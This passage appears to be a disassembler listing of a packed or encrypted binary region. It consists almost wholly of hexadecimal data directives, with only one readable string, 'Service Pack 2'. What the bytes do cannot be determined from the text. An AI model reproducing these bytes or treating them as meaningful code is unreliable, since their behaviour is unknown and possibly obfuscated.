		dd 85858B07h, 3507D309h, 34812736h, 0C483D0FFh,	29B58D0Ch
		dd 8B07DE9Bh, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 7D33255h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 9B4E858Dh, 858907DEh, 7D329E5h
		dd 13E9h, 916FD900h, 22h, 3 dup(0)
		dd 6E0E9h, 59BC2600h, 2F963E9Ah, 664F9460h, 15FE51AFh
		dd 672E825Eh, 0C39D33A8h, 13E1B061h, 0C513E2B3h, 0E0BCB360h
		dd 640908F1h, 4C1D7101h, 0DD12C01h, 228B5A95h, 642D7F51h
		dd 0EAABFB81h, 994D4F29h, 0E50E51A8h, 825E17A0h, 897F9453h
		dd 8C65CA79h, 8A59A768h, 9DA2621h, 5A8DEBA4h, 23AC86DCh
		dd 0CB8C6824h, 0C128B808h, 8D8CE0B0h, 77785C39h, 4152BB29h
		dd 623393E7h, 0D101AC91h, 4C164B2Ah, 4E93D32Bh,	0DC55BB65h
		dd 0BF33AE27h, 0E9A811C0h, 0F2DB0874h, 0DDB61769h, 594D96EAh
		dd 237585D9h, 698D6924h, 0BC4025F0h, 84E4AD14h,	7B186DD3h
		dd 4DC81E72h, 7E676C44h, 48C91B75h, 6969F847h, 0FAEE5B92h
		dd 0AA692A7Bh, 2B1E874Eh, 74DAB83Eh, 280C2423h,	0AB02E4AFh
		dd 0C106DB97h, 33856C7Ah, 751AD975h, 491048CBh,	81DC14D4h
		dd 137D4BECh, 99h, 9B7ACC30h, 0EDA8FED2h, 0A7304424h, 228B5A4Dh
		dd 0DEB44227h, 102422AFh, 0DDB14124h, 112422AFh, 7DFB425h
		dd 86A5A981h, 0D60E1F7Fh, 0DD555008h, 50D5E81h,	5E1290E6h
		dd 0E0D4050Dh, 0E1C81864h, 900569F5h, 81F97BC7h, 872526A0h
		dd 0EF00E9F7h, 0CCC54EA1h, 0D7BE106Ch, 468A3716h, 133FA837h
		dd 35BD2DB0h, 0FE3F175Ah, 0B720AF0Dh, 63AFEh, 71CF0000h
		dd 5ABA7B60h, 6A238A5Ah, 0A6674E96h, 551EF75Ah,	0F68545F0h
		dd 0AC0807EEh, 0D589BC25h, 4918A068h, 9CC8DCCh,	1FF65A9Fh
		dd 0C737EB4Eh, 0BC8DBF3Dh, 9A4A961Fh, 93C015Dh,	70848FB2h
		dd 0CE02CD9Fh, 0E93C5DAFh, 45194C28h, 0FAF933F1h, 0FABB7C8Ah
		dd 0C5CE379Eh, 0F4FDE6EBh, 8F676B56h, 7D4BB71Ch, 7D7Ah
		dd 0F65A1A00h, 0AFACA210h, 60422422h, 0F661D797h, 587C589Eh
		dd 33984997h, 9AE6DB3Ah, 418F6035h, 8A4B27ECh, 180DD317h
		dd 22B6C49Ah, 8D4E2A24h, 3140D133h, 7F900163h, 0D026DE31h
		dd 2422B6D2h, 0B7411D95h, 0D1A52422h, 484A4B15h, 0D7D0C716h
		dd 90ECD7FBh, 0EE5563Fh, 6D85457Ch, 7D4BED02h, 4B94h, 0F65A3C00h
		dd 0A3CF38A7h, 0E4B116EAh, 6C557B01h, 8A5728EBh, 3CD53746h
		dd 8A5A5B35h, 918C6A23h, 6F5552E1h, 0C9E05E09h,	2F885EF8h
		dd 0D48D3623h, 0EE718949h, 0A87D4B26h, 10h, 0ACED3FBDh
		dd 55B3BC25h, 0B88DD81h, 3FB52602h, 6B24895Ah, 82654E95h
		dd 0E3C81967h, 0AAA84E2Ah, 3C2422AFh, 0DCB47F38h, 0AE020B8Ah
		dd 0C94CE659h, 0A163656h, 7C4725EEh, 1BC6A54Ch,	0D23BA8D7h
		dd 0D782DFC3h, 401186ECh, 0BD3DDE9h, 0F33681DCh, 0F0FDC57Dh
		dd 2410B812h, 654E956Bh, 1A8352AEh, 922EF059h, 0BE0080BDh
		dd 9ABE27ACh, 554B47AFh, 979B190Fh, 1220B81Eh, 0A7E03B6Ah
		dd 0A1096E15h, 10D61A43h, 3E0BE4F0h, 86E8548Ah,	0EBFA460Fh
		dd 54E2C702h, 0F00F55FEh, 825304F0h, 4D46AF36h,	897060DCh
		dd 786170D0h, 0B63AA577h, 0B4AF18C7h, 5F309948h, 0AE855009h
		dd 4937CCABh, 1FAE9h, 0E7440900h, 52A11134h, 6C7805FDh
		dd 0C0AF65A5h, 59DEC0A7h, 0C451B556h, 5EB36DCBh, 4FA73060h
		dd 54195394h, 50EEA6Eh,	0B4BB24ABh, 7101F9E8h, 3346BF1Dh
		dd 7402E5D1h, 3346BF1Eh, 0FF10E4D0h, 0B8B922B1h, 0F3F9F964h
		dd 935C398Dh, 359C04B5h, 0EB6EC5CCh, 0A98C6F35h, 91h, 574BABBEh
		dd 973346B3h, 44BA1A9Bh, 180D38E3h, 0AFA9A50Dh,	393D2422h
		dd 1D9D1680h, 141FEE1Fh, 339D372h, 32AF8B6Bh, 0DDD97DA7h
		dd 0DC7A38EAh, 399135B4h, 9ED3B380h, 948EB29Eh,	0E2288027h
		dd 0A9A50D18h, 3DDD4D82h, 0FD754739h, 2CD15A71h, 82A24CABh
		dd 7BD6333Dh, 5D8347B2h, 0CD729D81h, 8D1ECFFh, 0AF9A41A2h
		dd 1185F547h, 66E3F33Fh, 349A1BA4h, 5AA5A42Ch, 0CF1468F0h
		dd 274B2DE6h, 1198A68h,	62470000h, 23A47ED4h, 0D3847024h
		dd 34E74461h, 0A6A111h,	0EF489E5Dh, 80C8432Ch, 59D9A9FCh
		dd 0B7C12D05h, 37E90DE9h, 255CD42Ch, 0D740F964h, 237FF7F2h
		dd 0C3B7C12Ch, 0B509B519h, 0CAAE27A8h, 62AEA511h, 2742E3B4h
		dd 1DC974D9h, 69A1CDF7h, 66E2537Fh, 0A02F8192h,	755C3837h
		dd 8423838Ch, 7ADFB9E7h, 4378FCCDh, 0CD9A33C1h,	17CB3C77h
		dd 0BA528E16h, 75CD8EA7h, 0D319D988h, 0E7A5186Dh, 0F42B239Ch
		dd 0FC5C1541h, 15FEE53Bh, 8C3F6C5Eh, 97C3D959h,	0BBB964EBh
		dd 6D92D280h, 5251BBF7h, 3987BAB6h, 922043A8h, 3431B0BCh
		dd 13954632h, 32CE47A7h, 0D6323BA2h, 6879C702h,	0AF01D283h
		dd 57B6B720h, 24EDB072h, 0CC06BC2Bh, 0C6B812E4h, 7628A698h
		dd 36139915h, 0C23FF8E7h, 0E50C590Eh, 0FE5A1380h, 7E017004h
		dd 0F2063522h, 0BD937FF7h, 14816533h, 0DC9770D9h, 9C1D8756h
		dd 0FA4691D2h, 7162FE97h, 34A5838Ch, 0B88EEAB4h, 0D07FD363h
		dd 836F2C43h, 28BA1699h, 446B454Ch, 0A11134E7h,	4C5ADFD6h
		dd 3C2E974Bh, 0C3C6F35Ah, 6B3A412h, 0A9BC725Ch,	6B248D53h
		dd 6EB670Dh, 0F7FB69DCh, 6E866CCh, 0FAFE69DCh, 8DF3D641h
		dd 80D65F44h, 5FB1CB46h, 0A7A29642h, 0F348F759h, 6F76ED2Bh
		dd 3513DCF8h, 0A5AEA412h, 34409C86h, 0F349B083h, 0A0F00192h
		dd 6BCDC64Fh, 6372CE87h, 0E0F14F7Ah, 1D7B3AFBh,	0A370D5B6h
		dd 0A96A8EEAh, 228DEC0h, 0E1270DE2h, 0ABE2FE58h, 59054680h
		dd 0A12F9333h, 0C432A3A9h, 0C92E296h, 0F856DCC9h, 0EEF06ADCh
		dd 59D7510Ah, 15812D87h, 0EEE25F76h, 985EDF8h, 0DDC57632h
		dd 0D10060D9h, 507FFDE8h, 0DFF39CEFh, 0F8AA9F56h, 85062D18h
		dd 0C020995Dh, 3FBDA811h, 10682992h, 0D1348C47h, 63CE2F40h
		dd 0D8C1106Fh, 0AB14BB19h, 0C0CE2h, 0C3500000h,	2BC163DFh
		dd 4B0CCBEAh, 885A3CB8h, 4D946C25h, 0F055AB64h,	30966A23h
		dd 0F054AC65h, 2C805021h, 0F154AC65h, 50814F20h, 864EA26Bh
		dd 68584E1Fh, 2AFFh, 68240489h,	7069h, 52240C89h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 2C895C24h, 6DBF5724h, 8127CA3Eh
		dd 3903F8F7h, 6EFC148h,	1E5DBD55h, 0C5817FA3h, 25905C25h
		dd 0D640C581h, 0EF31612Dh, 5FF9895Dh, 5D4668h, 24248900h
		dd 4240481h, 5D000000h,	8BB53h,	0C3810000h, 5C3E6B48h
		dd 0EB81EB01h, 5C3E6B48h, 8B5B0B89h, 8951242Ch,	4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 240C8B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 0A1C1E95Ch,	0B6DFFFF5h, 2B610CB1h
		dd 0A26AB865h, 0C50307DEh, 0F278E0FFh, 842547C9h, 90184BC9h
		dd 39B84ECFh, 92F342BCh, 0E3C04B0h, 0F9947801h,	0CCB97926h
		dd 0B97D5695h, 1917064h, 0F9B55B26h, 0E7DF5B52h, 0CDBB3029h
		dd 0B9335A54h, 58AA5F1Ch, 45B238FBh, 606F5BB3h,	4D6B2F3Ch
		dd 0BA206E95h, 0EA734D15h, 0E45602DCh, 0B1CA72CFh, 7D2A2E7Bh
		dd 6314763Dh, 0ACE96E66h, 2F000000h, 941E9E2Ch,	5000000h
		dd 1000000h, 28000000h,	200000Ah, 53000000h, 69767265h
		dd 50206563h, 206B6361h, 32h, 20h dup(0)
		dd 0E9000000h, 0F9Ah, 0DEA64D68h, 6789E907h, 0D468FFF6h
		dd 0E907DEA7h, 0FFF6677Fh, 0DEA98E68h, 6775E907h, 0F968FFF6h
		dd 0E907DEA9h, 0FFF6676Bh, 0DEABB968h, 6761E907h, 3868FFF6h
		dd 0E907DEACh, 0FFF66757h, 0DEB10668h, 674DE907h, 3368FFF6h
		dd 0E907DEB2h, 0FFF66743h, 0EB0B1BC6h, 35C1D17Eh, 0E1152598h
		dd 50A8B86Ch, 0DF17279Bh, 0F2687304h, 7B916E2h,	0D94AFFF7h
		dd 0EC02DC9h, 0A322FAFEh, 5D76FF02h, 85E5875Bh,	73859549h
		dd 0BC3C4CFAh, 0D3FAD082h, 1751FD32h, 45355DA7h, 234A2523h
		dd 5522C3B4h, 0E90F93DAh, 4AE18D42h, 0FF9E0D72h, 0E998CFC4h
		dd 2D22C5B0h, 992E1982h, 27C61BBFh, 76C628h, 68C70000h
		dd 3513E5F5h, 8427C783h, 1049B153h, 5907B14Ah, 7B1AB187h
		dd 98C48A11h, 389DF57Fh, 0CE0C7100h, 651B625Ah,	1744E766h
		dd 74A11560h, 0DD4E3578h, 4B3827A2h, 9B2DCBDBh,	76088B2Dh
		dd 0B8E6B457h, 2EF2D966h, 31BF6E8Ch, 2736E1EEh,	6036E87Ch
		dd 1D2DA502h, 466B4DDBh, 0CDB82887h, 3B7D4B5Bh,	4BCA8250h
		dd 0A790017Ah, 0F3A24810h, 323F7912h, 0DF000001h, 0D4669549h
		dd 0C4E14D9h, 0B01DDBEDh, 40E3EAFAh, 0E98887EEh, 537FC01Ah
		dd 89515A6Ch, 68922843h, 0B1475707h, 537A8A3Ch,	4E5616B0h
		dd 6852F175h, 0ED5AB990h, 6AB0DBDDh, 0E6D4CBA2h, 22EC971Dh
		dd 73144168h, 0DAE49E5h, 0A5174723h, 0FA0561CEh, 0BC900F9Ch
		dd 0AE4C5CCAh, 0A70CAE1Ch, 72869648h, 0C8BB5ADBh, 0BE562674h
		dd 6DE10EACh, 0FBA59B5Dh, 0C827A625h, 34F60414h, 4CB02786h
		dd 73F62C34h, 0E19C27EAh, 0D95D90BCh, 7EDDEC1Ch, 9738C2D2h
		dd 0F6B31525h, 0A391A357h, 393C7E9Bh, 59FAD125h, 39F238B0h
		dd 0A719D6EAh, 711F2197h, 2691309Bh, 40CD62EBh,	945DBBFh
		dd 0B91CBFBEh, 40FC3364h, 0A89B3A91h, 0DE298AEEh, 0A5BFEECCh
		dd 0C17D3C30h, 0AC0BC2C4h, 5D12E6F6h, 6606D5E5h, 35EF39DAh
		dd 0CB530A3h, 4DFC0000h, 0A314B93Dh, 57066393h,	8A3AAF47h
		dd 59D17E7Ah, 21DAAD49h, 6494A416h, 0AD495907h,	7B7B8B40h
		dd 0A85060CEh, 3110B110h, 555B5D79h, 91491333h,	66D87581h
		dd 0D2C9B859h, 0A9BD537Eh, 0E04FAC1Fh, 3F0EEAD0h, 595F6FE0h
		dd 0F1E6BCF1h, 0E42700ABh, 986DA209h, 4E8DAFA3h, 0DE7F4E7Ch
		dd 0CCA5B5BFh, 3C1EA597h, 0F8AC0BD7h, 953812E8h, 40710DF4h
		dd 0D3E57903h, 1C499CBBh, 79005A80h, 2298A81Ah,	1F7C4F53h
		dd 0BB1D9BABh, 0A845B4D0h, 109110FFh, 0EA5D9271h, 3B72F4FFh
		dd 0FFEA5D48h, 1F8E2C3Eh, 43F6C6A9h, 0F669C6C7h, 4ED9D4E6h
		dd 597B2Ah, 411BB097h, 51410699h, 12048h, 0BD963900h, 0BAD63B1Fh
		dd 49094177h, 0FA738595h, 0CBC23848h, 0EA85A73h, 777E221h
		dd 0EC05A42Fh, 8E559756h, 67936E0Fh, 6FF35A9Ah,	0D7876849h
		dd 956304C7h, 9F70C92Fh, 0DA8F6751h, 0F9E5C6Ch,	0BAEFFFB0h
		dd 679FB7A1h, 46FCBE65h, 0A3A2A79Ch, 651327E4h,	0ACFD129Ch
		dd 0B9368455h, 4208F202h, 45C44588h, 9ACC9DA4h,	0E3D5E95Ah
		dd 0ED9A42A8h, 8E620EA0h, 9B1AB810h, 57F107FAh,	4FEE7FE4h
		dd 0E457F174h, 803A9012h, 7E3C54F5h, 3948366Ah,	5C5E6EDAh
		dd 6F718519h, 6100CBA1h, 69C7E898h, 0D1E9D6F2h,	5EF9E69h
		dd 3E6C618Bh, 0EB488307h, 0D9430837h, 1EF9C301h, 2B9F4CACh
		dd 0DDD6C01Bh
		db 19h
byte_683E75	db 0C2h, 0EDh, 5Bh	; DATA XREF: ___:0042DB58o
		dd 0B2EF8h, 0B4C47500h,	2838A744h, 9AAA1BD0h, 2B3BF15Eh
		dd 9CAC1ECBh, 0E3EE895Ch, 32975F6Fh, 0CD827686h, 3DB24656h
		dd 9D7D7989h, 7A847F1Eh, 62025B5Dh, 15C82702h, 8F69792Ah
		dd 84E90FB9h, 0B406C4D4h, 0DB7A873Bh, 537ED2E8h, 6B7B319Eh
		dd 0DE8B6B5Dh, 11986070h, 0C8F202B2h, 859549A4h, 3C4CFA73h
		dd 72823291h, 0E0F8C288h, 2B3BEA49h, 86AEFBCDh,	8A2DC2ECh
		dd 18CA7842h, 98EA8B42h, 8843050h, 0DF0A5ECBh, 774AB0DDh
		dd 0A229EE90h, 111C423h, 90B7D7AAh, 9D1BAFFBh, 78F9D4D6h
		dd 90B7EAD9h, 0B00A9CFBh, 913F9C1Dh, 28963781h,	0E756B518h
		dd 228721D7h, 0E71094D0h, 5A7E3C13h, 61D24B3h, 0F7468272h
		dd 966CCCFh, 0ADBD6A55h, 6D4BDD1Bh, 0E4998726h,	0BBA7FA4Ah
		dd 9CE511E7h, 0FFD58B96h, 9F7D2DCCh, 0F2CF4112h, 904519ADh
		dd 8BAE84F1h, 5DBAC185h, 4252FEE9h, 5F633288h, 8D9D0F6Ch
		dd 0BF64432Bh, 0A3C0997Dh, 13F809B3h, 6A0BA8D9h, 0F6770DA3h
		dd 0E7CE6C57h, 67881A32h, 0DED3E5F5h, 5C89E74h,	0FF517564h
		dd 8B81D9EDh, 0AFAEEB92h, 9CB48F2Eh, 0D0D21896h, 4BF2C3EAh
		dd 0EF904BE6h, 33480B2h, 13625833h, 40E8295Ah, 9EFFFAEh
		dd 0C6B6A3Fh, 0AEB44684h, 758533E4h, 0A823A583h, 4C5CCA29h
		dd 0EF9E1CAEh, 9F8D8BF1h, 5C670687h, 2AA0D0FEh,	0FD6B2298h
		dd 2EF2E303h, 0EF3C360Fh, 90EB8C53h, 4D074EA6h,	125B1AA0h
		dd 71DE3D90h, 0F7545761h, 0E8BF3747h, 0FBF9C869h, 77E77BEFh
		dd 0FC9D2C67h, 7BEFFC05h, 0EDCBFD81h, 9F3E4E00h, 0C4A7A103h
		dd 748DE87Ah, 0BB000009h, 55FAFE0Eh, 0C926D2E2h, 57F40414h
		dd 0AC21D5E5h, 0F712E6F6h, 0B1C17984h, 2838A845h, 98A81BD0h
		dd 2B3BEB60h, 2DCCEBCBh, 5B5D7C56h, 27301030h, 0F40616C8h
		dd 34DE6456h, 36CE6F5Eh, 6E5A3281h, 7819EF08h, 0FF843968h
		dd 32F1AE15h, 28D2E255h, 46A528A2h, 6D8999h, 14B93F4Fh
		dd 614B92A2h, 9C2014F6h, 909AF46h, 0E1500000h, 17C825D1h
		dd 0CB7AEF07h, 1E8E3BBBh, 0CD85EA0Eh, 0CD2E39BDh, 0F80010C2h
		dd 21D5E553h, 0FE7F7ACh, 1CDCEC5Ah, 0A59C3D7Ch,	0E15B5D7Bh
		dd 0C8279FBFh, 0B0B20818h, 20C10CE2h, 3B3AB172h, 5357F22Eh
		dd 0B633529Dh, 9AE35DAFh, 0A704C7DBh, 8DCF2737h, 94A414C5h
		dd 0B9169736h, 0C9C4F606h, 47096863h, 33FC7EEDh, 2193F060h
		dd 5761E711h, 0F4267017h, 0A5288C35h, 36849446h, 0FECD2B3Fh
		dd 54E3DE7Fh, 4AFDB53Dh, 0ABEAC03Ah, 86EAA117h,	0D60B3FEAh
		dd 881FA101h, 221D2E4Fh, 6758A749h, 0C9D16BA0h,	187E4CF2h
		dd 58h,	12E8BC28h, 0DCF31ABBh, 8AA32409h, 0AB9B8455h, 975B438Ch
		dd 67FB3A0Dh, 0E55DBA91h, 248523D5h, 25AA7932h,	4D407ABFh
		dd 79B566F5h, 0E2F268C7h, 985EB5D8h, 8423E2CDh,	0D7825172h
		dd 9BF885FEh, 4AE01A2Ah, 58E01770h, 0D3898252h,	78Fh, 0A04FAF00h
		dd 1D000002h, 0CA29595Dh, 19AF4959h, 19EFA19Fh,	5C9033B2h
		dd 6E03D844h, 0A5731AA0h, 0A359C0BFh, 4BC3CC5Fh, 3E325A43h
		dd 0E455FFAh, 9015F47Ch, 0D2FDB611h, 6291DB73h,	0A8177439h
		dd 0F2C86298h, 18E8F4BBh, 28FA68A8h, 5BFA7B52h,	0B11D5B68h
		dd 9F2E8C1Eh, 675AA0FEh, 0C97BD891h, 4F693FB9h,	545FA35Ch
		dd 590FDD7h, 8910C85Ah,	713CBEC0h, 6593A312h, 7A49E8E3h
		dd 0C390C6Ah, 5002407Ah, 42F4537Ah, 0A4458832h,	766DA9E7h
		dd 7B3DC4ABh, 0BAF5987Ch, 7F9408EDh, 8E0FBEC0h,	0FCCDBEDh
		dd 1AC5299h, 0B90FF702h, 395C6CDEh, 0DB389325h,	2E9B5B6Bh
		dd 496D7080h, 0C801C79Ch, 749C332h, 21900000h, 0D788E511h
		dd 0BBA2FC7h, 0DE4EFBFBh, 0DC52ACEh, 8DEEF9FDh,	38C0D082h
		dd 0E1152593h, 4FA7B76Ch, 0DC1C2C9Ah, 0E5DC7D3Ch, 0A15B5D7Dh
		dd 95495FFFh, 0A36D7385h, 9A5DFECDh, 0C58DD0D8h, 0B8399426h
		dd 1EDCEC5Bh, 0F57F2E8Ch, 6BC03668h, 0E95640F7h, 42E3626Bh
		dd 0E99B843Fh, 791C2CA1h, 2FC0C4E5h, 8782747Ch,	0E81C7A31h
		dd 5D143A4Ch, 8E40AD49h, 0A3E15F7Eh, 469CA44Ah,	6CAAFh
		dd 90A01100h, 44540368h, 96A617B4h, 2737ED62h, 98A81ACFh
		dd 0E7F28560h, 36936373h, 0D17E7A8Ah, 41AE4A5Ah, 0A1797D8Dh
		dd 7F808322h, 66065B5Dh, 9E842706h, 0C4C31EFDh,	0C5795664h
		dd 1C8A43B5h, 8F697931h, 84E90FB9h, 9738C2D2h, 6AE31525h
		dd 3A3FABBBh, 0F000AE8Dh, 5B28DDAh, 0D807B714h,	0E3E975ABh
		dd 6E8C3E0Fh, 3DF1DEDCh, 20B29130h, 0D2D4537Fh,	4A5000F8h
		dd 97263EDEh, 72h, 0E7F7AB08h, 8B63711h, 922802F8h, 10E6BCDAh
		dd 1A1CBDh, 6F6E36B0h, 0CF843040h, 0DDED61BEh, 3CDFB0DBh
		dd 0C4C18F56h, 0AB5538C2h, 0EDC3FA98h, 0A68E129h, 77873C9Bh
		dd 4757CC81h, 2D3C3781h, 0B9B1778Ah, 3BB49A9Dh,	0AD7B7D8Dh
		dd 76EDA00Bh, 48C93DB4h, 0B77CDAA9h, 911AAC69h,	2D08A80Ah
		dd 0DCB406F2h, 6DF704F3h, 3C77183Dh, 72A4h, 0E6BCC400h
		dd 0A31CBD10h, 0F714079Fh, 6FE35F45h, 0AB960C6Bh, 3711E7F7h
		dd 3D6C2791h, 9E5E216Ah, 83028302h, 0A345DFE2h,	8823A7ABh
		dd 0ABA345B9h, 0BC0FB9CDh, 18E0F05Fh, 27F58E71h, 9C400894h
		dd 0CB6C8022h, 9921656Dh, 0CBDD596Ah, 839BF7B4h, 6A13803Ah
		dd 0ADA4582Fh, 736A807h, 0A135213h, 51A52385h, 97A71D7Ah
		dd 0EBFBAC21h, 569660Dh, 0BC860000h, 8F7213E6h,	51537ED3h
		dd 0C4C6CDDDh, 0C746C706h, 7ED31B26h, 61576B53h, 20E1C82Ah
		dd 93E498B6h, 0F493C6C5h, 2BB7B856h, 0B7414540h, 6298A816h
		dd 6842797Eh, 48E9E4BAh, 6F3091D0h, 170FCE7Ch, 0CD85E2B4h
		dd 0F796FBBDh, 0C0225BCBh, 0DE97DB4h, 1CDEEE60h, 70803291h
		dd 6171E58Ah, 1B71197h,	10BB913Fh, 55C64371h, 373D1D02h
		dd 0AE2F1D6Eh, 728B340Fh, 6A50524Ah, 0AE04A726h, 38CFEE92h
		dd 0D1B9228h, 41409FE6h, 86B84244h, 0B3298607h,	3A3908A3h
		dd 1A4D64E4h, 1AD1904Fh, 0A711B7EBh, 9C0A29DEh,	0A0726C8Ch
		dd 0E38203CAh, 64E444E0h, 179624A6h, 710C3176h,	6CDA3998h
		dd 0C32F5E5Ch, 9F128181h, 4B5349FEh, 5502614Fh,	0A315B345h
		dd 0E81294CBh, 3E45E465h, 48584FB7h, 0DB4B8436h, 462F2DCBh
		dd 754B15B1h, 0C278D756h, 0E9A508B2h, 0CBDBBB29h, 0FAEBB6Ch
		dd 0E4FC4C34h, 807A5052h, 759D10AAh, 0A423E7Bh,	0CF61ED63h
		dd 0D3D78E3Ch, 818C623h, 0E7F766C5h, 57813711h,	0C63444F6h
		dd 0FF3ECDBAh, 7C1D2AA0h, 69D5D785h, 0AD4B7D01h, 7E309D1Bh
		dd 50005F6Eh, 0CAF0BA40h, 885E342Eh, 6333A445h,	4F179843h
		dd 0F8E5C66Bh, 67514251h, 5F003F04h, 0CFD0DF96h, 970BE4EEh
		dd 16B74187h, 0ED6298A8h, 1DD22838h, 0EB5F99A9h, 0FF5DD1E6h
		dd 7B258136h, 0E8726A5h, 94070D1Dh, 1AA8F13Ah, 0DCB23964h
		dd 1BA249CBh, 0DA44DA78h, 6E4C8A73h, 0FC07A627h, 8A7611BDh
		dd 0BE675AFBh, 8B1F7611h, 5E0F6C3Dh, 9C9E3DCDh,	0B125CA2Eh
		dd 0B1FE05A4h, 0F6887611h, 48A726D4h, 17EA8B98h, 6F7611B2h
		dd 0BD8B6D5Bh, 5464D2FBh, 5A425A4h, 7611B1FEh, 0B22221C0h
		dd 62647611h, 0D7892F33h, 0F9983309h, 4F6B5522h, 0DE0E5E2Ch
		dd 2C5538C4h, 513E3A48h, 2838ED4Ah, 34A40392h, 41879749h
		dd 0F4D7F1B7h, 78EDD475h, 599663Ch, 346645B3h, 1C12E9BCh
		dd 7DCA59ECh, 0E2F263C0h, 6D289218h, 600ABB5Ch,	0E6C3D388h
		dd 26946F73h, 5C877887h, 0A79001A6h, 0A8A24810h
		dd 663F821Eh, 0DF000000h, 313C827h, 0CC2E3EEAh,	0DC86BCFEh
		dd 0D3996809h, 0D9ED537Eh, 7F3DDCEFh, 11D2DD13h, 190D0A28h
		dd 191F2645h, 2B6A47AAh, 0FA0ABCh, 10C52Ah, 5A7D30CAh
		dd 4C4D2AB0h, 50603A41h, 0C72E1138h, 9885E13h, 5B3B9968h
		dd 0DFD9ED6Bh, 0AF5C2B94h, 1AF50595h, 118DC3Eh,	4CCD0000h
		dd 5B47D6ADh, 0CAEB06Bh, 85954960h, 3848FA73h, 89990DC2h
		dd 4050FE6Fh, 0D7DCD1B8h, 39963B3Fh, 66457383h,	87AA23D7h
		dd 0ACC3FBA2h, 92F1FCC7h, 45E31525h, 2DA13E73h,	0C274D91Dh
		dd 481A48B2h, 0A8BA5B72h, 0D831D827h, 0E0866637h, 1FD00FB3h
		dd 0CD5B9DADh, 4576C0EBh, 56F549F8h, 63CEAEE4h,	2ACED08Fh
		dd 3B756A38h, 3B1CAFD5h, 0FD7C4F79h, 32E13E5Ah,	9446930Ah
		dd 0E176337Eh, 0C9C4F62Ch, 9199DF2Ch, 3B8C3B36h, 0A6A043E8h
		dd 37445EDFh, 92195563h, 896F7F35h, 986272E4h, 8B02B812h
		dd 653A51AAh, 12C221A0h, 56A4B427h, 2604F6D4h, 0ED5E0194h
		dd 2C3CEF85h, 6BAFFCCEh, 0DC00AA8h, 0CECFCAEh, 0DBEB5Fh
		dd 0CF352D28h, 0FC0A69FFh, 43000001h, 0FD728696h, 11BE3A4Ah
		dd 0FF6C8C9Ch, 14B93D4Dh, 9F6A8E9Eh, 4959D1DCh,	809040ADh
		dd 5060D378h, 839343A8h, 8524A373h, 5B5D847Eh, 49F85808h
		dd 0D8758191h, 0BA25666h, 9C11FCACh, 0EEDC6E8Ch, 0E6BCA0CCh
		dd 0EE5EBD10h, 30D1DCDEh, 913DD33Eh, 0AB10631Ah, 43F45397h
		dd 0FE72FE14h, 24A68451h, 0B7C779D6h, 5C6CDC11h, 0E7AE0C9Eh
		dd 8297FDC6h, 0B5C988EDh, 0F101B916h, 61774107h, 8D33A9AAh
		dd 8E85F94Ch, 56F7874Bh, 0ED42C6CAh, 8136017Ah,	488133B7h
		dd 0AB44E7C1h, 6272E5F0h, 95153C49h, 0BF4F23h, 49EF0000h
		dd 0EAFAAA95h, 0F0931AE0h, 93F535FFh, 234E4753h, 92A74267h
		dd 45FDF2C8h, 0E0C8C335h, 6C690EA3h, 0AC16772Fh, 64286706h
		dd 6C51A79Dh, 0A14EAABAh, 0E5DB1D2Dh, 0C766653Bh, 3C2A4DC0h
		dd 0AB4206E6h, 6D0A317Bh, 23FBEDA5h, 0E6D6062h,	0DE6C8E9Eh
		dd 10C2FCDCh, 0D2F2933Ah, 0D2E06251h, 0ECC9D230h, 0C9A11776h
		dd 86CF1216h, 0B86AC904h, 943D9E89h, 0D7F1E35Ah, 0E8F8AA1Fh
		dd 0D40A5FF5h, 29CC1E7Ah, 0CFh,	5B9BAB16h, 0C53141EEh
		dd 51A5B528h, 0E018289Ch, 4FA7B76Bh, 2B8C334h, 0F76906F2h
		dd 0E95A0FE7h, 0FEB01DD9h, 93320AEEh, 5D850FF2h, 75D5775Bh
		dd 75819149h, 0A25666D8h, 859549AAh, 3C4CFA73h,	0FAD082BCh
		dd 40F552D3h, 0EF00CA30h, 22892F3Fh, 5F9BD68Ch,	1D7A5BCCh
		dd 0C2B6D7D7h, 0B22E1804h, 5C11E77Bh, 94F3DAEAh, 5EEC0E1Eh
		dd 5FCF7C5Ch, 5302A94Fh, 530EC019h, 8A492467h, 8A306108h
		dd 14DF362h, 0B556C7F4h, 322A6C30h, 826B4DC0h, 9734C4D4h
		dd 6CE11727h, 276B89B8h, 0E193C4A7h, 0E2CB11E7h, 0C8D886D5h
		dd 0FB0BBB30h, 59D12EFDh, 9019AF49h, 17EF3235h,	29CCEE86h
		dd 0Fh,	12C82737h, 6A80F4E3h, 0F2D8AB37h, 49C6A6C8h, 0FD728898h
		dd 0EBF3949h, 26B8D9Dh,	3BB44656h, 0CC817787h, 3BB44656h
		dd 0CE7F7989h, 44A94F5Fh, 0D6758393h, 53E78957h, 0A347DBBBh
		dd 0CAC38121h, 815B081Dh, 549A5FC3h, 5BDF0183h,	8704EF83h
		dd 535C243Ch, 0C381E389h, 4, 4EB81h, 1C870000h,	14895C24h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 241C895Ch
		dd 8D3992BAh, 0ECCA8137h, 4A35FE67h, 0DB7AB850h, 0C2293020h
		dd 1C8B5458h, 4C48124h,	55000000h, 6B89D589h, 242C8B08h
		dd 8B04C483h, 8956241Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 24148B5Ch, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F657FEE9h
		dd 4F80BAFFh, 27B8CD44h, 307DEB3h, 61E0FFC5h, 7D529D0Ah
		dd 8973EAC1h, 0FA3E6B19h, 814E28CEh, 3E383466h,	613C4522h
		dd 25191F52h, 271A3C99h, 8073B6AFh, 0B2482DCEh,	0FD15A20Bh
		dd 2E7AE6F2h, 4312073Eh, 56735340h, 1A2D9874h, 0EE65EB61h
		dd 2855B8A9h, 6146446Bh, 0EF0E0BD0h, 0D1541553h, 381DAC77h
		dd 9042DA34h, 13719B71h, 3D3116FAh, 5A39C6AFh, 1A67688Ah
		dd 0E833311Dh, 11h, 68CEFFCEh, 0AAF23B8h, 0F7F42D93h, 0F5D10209h
		dd 0D88A5E87h, 5A3AC681h, 8D0F0000h, 8,	8A0F53h, 5B000000h
		dd 8166D22Bh, 0FFF310F1h, 8D0F3234h, 5,	5789C5BBh, 5F52584Ch
